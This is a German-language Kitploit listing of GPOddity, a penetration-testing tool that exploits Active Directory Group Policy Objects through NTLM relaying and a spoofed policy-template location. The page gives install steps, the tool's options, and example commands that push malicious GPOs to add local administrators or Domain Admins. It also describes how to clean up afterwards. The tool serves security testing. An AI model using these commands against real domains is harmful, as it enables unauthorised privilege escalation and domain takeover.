Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
GPOddity — Automatisiert die Active Directory GPO-Ausnutzung mittels NTLM-Relaying, ermöglicht die Erstellung bösartiger GPO-Vorlagen, Standort-Spoofing und die Ausführung von Befehlen zur Privilegienausweitung und lateralen Bewegung. | Kitploit
Tools/GitHubGitHub/synacktiv/gpoddity
ExploitationPost-ExploitationPenetrationstests
GitHubsynacktiv/gpoddity

GPOddity

Automatisiert die Active Directory GPO-Ausnutzung mittels NTLM-Relaying, ermöglicht die Erstellung bösartiger GPO-Vorlagen, Standort-Spoofing und die Ausführung von Befehlen zur Privilegienausweitung und lateralen Bewegung.

Repository anzeigen
37330vor 8 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

GPOddity

Das GPOddity-Projekt zielt darauf ab, GPO-Angriffsvektoren durch NTLM-Relaying (und mehr) zu automatisieren.

Weitere Details zum Angriff und eine Demonstration zur Nutzung des Tools finden Sie im zugehörigen Artikel unter: https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more

Installation

Pipx

Sie können GPOddity mit pipx über den folgenden Befehl installieren:

root@kitploit:~
$ python3 -m pipx install git+https://github.com/synacktiv/GPOddity

Manuell

Alternativ können Sie GPOddity manuell installieren, indem Sie das Repository klonen und die Abhängigkeiten installieren:

root@kitploit:~
$ git clone https://github.com/synacktiv/GPOddity
$ python3 -m pip install -r requirements.txt

Nutzung

root@kitploit:~
$ python3 gpoddity.py --help
                                                                                                                                                                                                
 Usage: gpoddity.py [OPTIONS]                                                                                                                                                                   
                                                                                                                                                                                                
╭─ Optionen ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --help          Diese Nachricht anzeigen und beenden.                                                                                                                                        │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Allgemeine Optionen ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --domain            TEXT  Die Ziel-Domäne [default: None] [erforderlich]                                                                                                                   │
│ *  --gpo-id            TEXT  Die GPO-Objekt-GUID ohne umschließende Klammern (z. B. '1328149E-EF37-4E07-AC9E-E35920AD2F59') [default: None] [erforderlich]                                   │
│ *  --username          TEXT  Der Benutzername des Benutzers mit Schreibberechtigung auf das GPO-AD-Objekt. Dies kann ein Maschinenkonto sein (z. B. 'SRV01$') [default: None] [erforderlich]│
│    --password          TEXT  Das Passwort des Benutzers mit Schreibberechtigung auf das GPO-AD-Objekt [default: None]                                                                         │
│    --hash              TEXT  Der NTLM-Hash des Benutzers mit Schreibberechtigung auf das GPO-AD-Objekt, im Format 'LM:NT' [default: None]                                                     │
│    --dc-ip             TEXT  [Optional] Die IP des Domänencontrollers, falls der Domänenname nicht aufgelöst werden kann. [default: None]                                                     │
│    --ldaps                   [Optional] LDAPS auf Port 636 anstelle von LDAP verwenden                                                                                                        │
│    --verbose                 [Optional] Ausführliche Ausgabe aktivieren                                                                                                                       │
│    --just-clean              [Optional] Nur Bereinigungsaktionen ausführen, basierend auf den in der Datei des --clean-file-Flags angegebenen Werten. Nützlich zur Bereinigung bei           │
│                              unvollständiger Ausnutzung oder nicht ordnungsgemäßen Beenden                                                                                                    │
│    --clean-file        TEXT  [Optional] Die Datei aus dem Ordner 'cleaning/', die die wiederherzustellenden Werte enthält, wenn das --just-clean-Flag verwendet wird. Relativer Pfad zum     │
│                              GPOddity-Installationsordner oder absoluter Pfad                                                                                                                 │
│                              [default: None]                                                                                                                                                 │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Optionen zur Erzeugung einer schädlichen Gruppenrichtlinienvorlage ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --command           TEXT             Der Befehl, der durch die schädliche GPO ausgeführt werden soll [default: None]                                                                         │
│ --powershell                         [Optional] Powershell anstelle von cmd für die Befehlsausführung verwenden                                                                               │
│ --gpo-type          [user|computer]  [Optional] Der Typ der GPO, die wir anvisieren. Kann entweder 'user' oder 'computer' sein [default: computer]                                          │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Optionen zum Spoofing des Speicherorts der Gruppenrichtlinienvorlage ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --rogue-smbserver-ip           TEXT  Die IP-Adresse oder der DNS-Name des Servers, der die gefälschte schädliche GPO hosten wird. Bei Verwendung des GPOddity-SMB-Servers sollte dies die     │
│                                      IP-Adresse des aktuellen Hosts im internen Netzwerk sein (z. B. 192.168.58.101)                                                                        │
│                                      [default: None]                                                                                                                                         │
│ --rogue-smbserver-share        TEXT  Der Name der Freigabe, die die gefälschte schädliche GPO bereitstellt (z. B. 'synacktiv'). Wenn Sie den eingebetteten SMB-Server ausführen, geben Sie   │
│                                      KEINE Namen an, die 'SYSVOL' oder 'NETLOGON' enthalten (standardmäßig durch UNC-Pfadhärtung geschützt)                                                 │
│                                      [default: None]                                                                                                                                         │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ SMB-Server-Optionen ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --machine-name        TEXT                       [Optional] Der Name eines gültigen Domänen-Maschinenkontos, das für die Netlogon-Authentifizierung verwendet wird (z. B. SRV01$). Wenn    │
│                                                  ausgelassen, wird der mit --username angegebene Benutzer verwendet, und es wird angenommen, dass es sich um ein gültiges Maschinenkonto     │
│                                                  handelt                                                                                                                                     │
│                                                  [default: None]                                                                                                                             │
│ --machine-pass        TEXT                       [Optional] Das Passwort des Maschinenkontos, falls mit --machine-name angegeben [default: None]                                              │
│ --machine-hash        TEXT                       [Optional] Der NTLM-Hash des Maschinenkontos, falls mit --machine-name angegeben, im Format 'LM:NT' [default: None]                         │
│ --comment             TEXT                       [Optional] Kommentar der Freigabe, der angezeigt wird, wenn nach Freigaben gefragt wird [default: None]                                      │
│ --interface           TEXT                       [Optional] Die Schnittstelle, auf der der GPOddity-SMB-Server lauschen soll [default: 0.0.0.0]                                              │
│ --port                TEXT                       [Optional] Der Port, auf dem der GPOddity-SMB-Server lauschen soll [default: 445]                                                           │
│ --smb-mode            [embedded|forwarded|none]  [Optional] 'Embedded' SMB-Server hostet einen SMB-Server auf diesem Rechner. 'Forwarded' leitet SMB-Datenverkehr an einen gefälschten      │
│                                                  Domänencontroller weiter (erfordert ein Maschinenkonto mit einem DNS-Eintrag, der auf den Angreiferrechner verweist. Die erzeugte GPT      │
│                                                  muss auf dem gefälschten DC hochgeladen werden). 'None' hostet keinen SMB-Server (die erzeugte GPT muss auf eine beschreibbare SMB-        │
│                                                  Freigabe in der Domäne hochgeladen werden)                                                                                                   │
│                                                  [default: embedded]                                                                                                                         │
│ --empty-gpo                                      [Optional] Standardmäßig klont GPOddity die Ziel-GPO und fügt eine schädliche sofortige Aufgabe hinzu. Wenn dieses Flag angegeben ist,     │
│                                                  wird stattdessen eine leere GPO verwendet (kann für einige Randfälle nützlich sein, in denen sofortige Aufgaben nicht gut mit bestehenden  │
│                                                  GPOs harmonieren)                                                                                                                           │
│ --attacker-ip         TEXT                       [Optional] Die IP des Angreiferrechners im internen Netzwerk (erforderlich für smb-mode 'forwarded')                                        │
│ --forwarded-ip        TEXT                       [Optional] Die IP des gefälschten DC, an den der SMB-Datenverkehr weitergeleitet wird (erforderlich für smb-mode 'forwarded')               │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

Beispiele

Nachfolgend finden Sie einige Beispielbefehle aus dem oben verlinkten Artikel.

Ausnutzen einer Computer-GPO zum Hinzufügen eines lokalen Administrators. SMB-Modus ist 'embedded': GPOddity hostet die GPT auf seinem eingebetteten SMB-Server.

root@kitploit:~
$ python3 gpoddity.py --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user synacktiv_gpoddity Password123! /add && net localgroup administrators synacktiv_gpoddity /add' \
--rogue-smbserver-ip '192.168.58.101' --rogue-smbserver-share 'synacktiv'

Ausnutzen einer Benutzer-GPO zum Hinzufügen eines lokalen Administrators. SMB-Modus ist 'none': GPOddity erstellt die schädliche GPT, und Sie müssen diese dann auf eine beschreibbare Domänenfreigabe hochladen.

root@kitploit:~
$ python3 gpoddity.py --gpo-id '7B36419B-B566-46FA-A7B7-58CA9030A604' --gpo-type 'user' --smb-mode 'none' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user user_gpo Password123! /add /domain && net group "Domain Admins" user_gpo /ADD /DOMAIN' \
 --rogue-smbserver-ip '192.168.58.102' --rogue-smbserver-share 'synacktiv'

Ausnutzen einer Benutzer-GPO zum Hinzufügen eines lokalen Administrators. SMB-Modus ist 'forwarded': Sie müssen einen DNS-Eintrag hinzufügen, der auf den Rechner von GPOddity verweist und mit einem Maschinenkonto verknüpft ist. Sie müssen die IP-Adresse eines gefälschten DC angeben, dessen Passwort mit dem Maschinenkonto synchronisiert ist, und die schädliche GPT auf diesen gefälschten DC hochladen. Weitere Informationen zu diesem Modus finden Sie in meinem Black Alps 2024 Vortrag (demnächst verfügbar).

root@kitploit:~
$ python3 gpoddity.py --gpo-id 'B12968FB-EEEE-404A-A583-101A2E249BF9' --domain 'corp.com' --username 'lowpriv' \
--password '[...]' --command 'whoami > C:\poc_forwarded.txt' --gpo-type 'user' --rogue-smbserver-ip 'gpoddity.corp.com' \
--rogue-smbserver-share 'synacktiv' --smb-mode 'forwarded' --attacker-ip '192.168.123.16' --forwarded-ip '192.168.125.245'

Über die Bereinigung

Einer der Vorteile der Verwendung von GPOddity liegt in der Möglichkeit, GPOs sicher auszunutzen, ohne legitime GPT-Dateien zu verändern, wodurch das Risiko von Störungen in Produktionsumgebungen minimiert wird. Allerdings muss GPOddity dennoch einige Attribute der Group Policy Container-Dateien ändern, um den GPT-Speicherort vorübergehend zu fälschen. Daher setzt die Gewährleistung einer funktionsfähigen Produktionsumgebung voraus, diese Änderungen nach der Ausnutzung rückgängig zu machen.

Standardmäßig und wie im Artikel erläutert, erledigt GPOddity dies für Sie, indem es alle am GPC vorgenommenen Änderungen am Ende des Exploits rückgängig macht, wenn der Benutzer das Programm mit STRG+C unterbricht. Daher müssen Sie unter normalen Bedingungen nichts tun, um eine ordnungsgemäße Bereinigung sicherzustellen.

Wenn Sie GPOddity jedoch aus irgendeinem Grund nicht ordnungsgemäß mit STRG+C beenden können (Prozess beendet, Netzwerkverbindung verloren usw.), können Sie GPOddity mit dem Flag '--just-clean' starten, um Bereinigungsaktionen unabhängig durchzuführen.

Diese Funktion funktioniert wie folgt: Jedes Mal, wenn GPOddity ausgeführt wird, wird der ursprüngliche Zustand der GPO in einer Datei unter dem Pfad cleaning/[GPO-ID]/[Zeitstempel].txt gespeichert. Sie können dann alle in dieser Sicherungsdatei enthaltenen Werte über das Flag '--just-clean' wiederherstellen. Angenommen, Sie möchten alle Attribute der GPO mit der ID '46993522-7D77-4B59-9B77-F82082DE9D81' auf ihre Werte vor der Ausführung von GPOddity am 14. Oktober 2023 um 08:08:44 zurücksetzen. Sie könnten den folgenden Befehl ausführen:

root@kitploit:~
$ python3 gpoddity.py --just-clean --domain 'corp.com' --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --username 'GPODDITY$' --password '[...]' --clean-file cleaning/46993522-7D77-4B59-9B77-F82082DE9D81/2023_10_14-08_08_44.txt

Videodemonstration

GPOddity

Tool herunterladen